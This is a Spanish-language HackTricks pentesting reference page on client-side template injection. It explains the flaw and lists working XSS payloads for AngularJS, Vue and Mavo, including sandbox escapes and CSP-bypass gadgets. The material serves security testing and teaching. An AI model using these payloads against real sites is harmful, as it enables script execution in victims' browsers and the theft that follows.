hacktricks/pentesting-web/client-side-template-injection-csti.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

7.5 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Resumen

Es como una Inyección de Plantilla en el Lado del Servidor (SSTI) pero en el cliente. El SSTI puede permitirte ejecutar código en el servidor remoto, el CSTI podría permitirte ejecutar código JavaScript arbitrario en la víctima.

La forma de probar esta vulnerabilidad es muy similar a la del SSTI, el intérprete va a esperar algo para ejecutar entre llaves dobles y lo ejecutará. Por ejemplo, usando algo como: {{ 7-7 }} si el servidor es vulnerable verás un 0 y si no verás el original: {{ 7-7 }}

AngularJS

AngularJS es una popular biblioteca de JavaScript, que escanea el contenido de los nodos HTML que contienen el atributo ng-app (también conocido como una directiva AngularJS). Cuando se agrega una directiva al código HTML, puedes ejecutar expresiones JavaScript dentro de llaves dobles.
Por ejemplo, si tu entrada se está reflejando dentro del body del HTML y el body está definido con ng-app: <body ng-app>

Puedes ejecutar código JavaScript arbitrario usando llaves dobles agregándolo al body:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Puedes encontrar un ejemplo básico en línea de la vulnerabilidad en AngularJS en http://jsfiddle.net/2zs2yv7o/

{% hint style="danger" %} Angular 1.6 eliminó el sandbox por lo que desde esta versión un payload como {{constructor.constructor('alert(1)')()}} o <input ng-focus=$event.view.alert('XSS')> debería funcionar. {% endhint %}

VueJS

Puedes encontrar una implementación de vue.js vulnerable en https://vue-client-side-template-injection-example.azu.now.sh/
Payload funcional: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Y el código fuente del ejemplo vulnerable aquí: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Un buen artículo sobre CSTI en VUE se puede encontrar en https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Crédito: Gareth Heyes, Lewis Ardern y PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Crédito: Mario Heiderich

Ver más payloads de VUE en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Más payloads en https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Lista de detección de fuerza bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥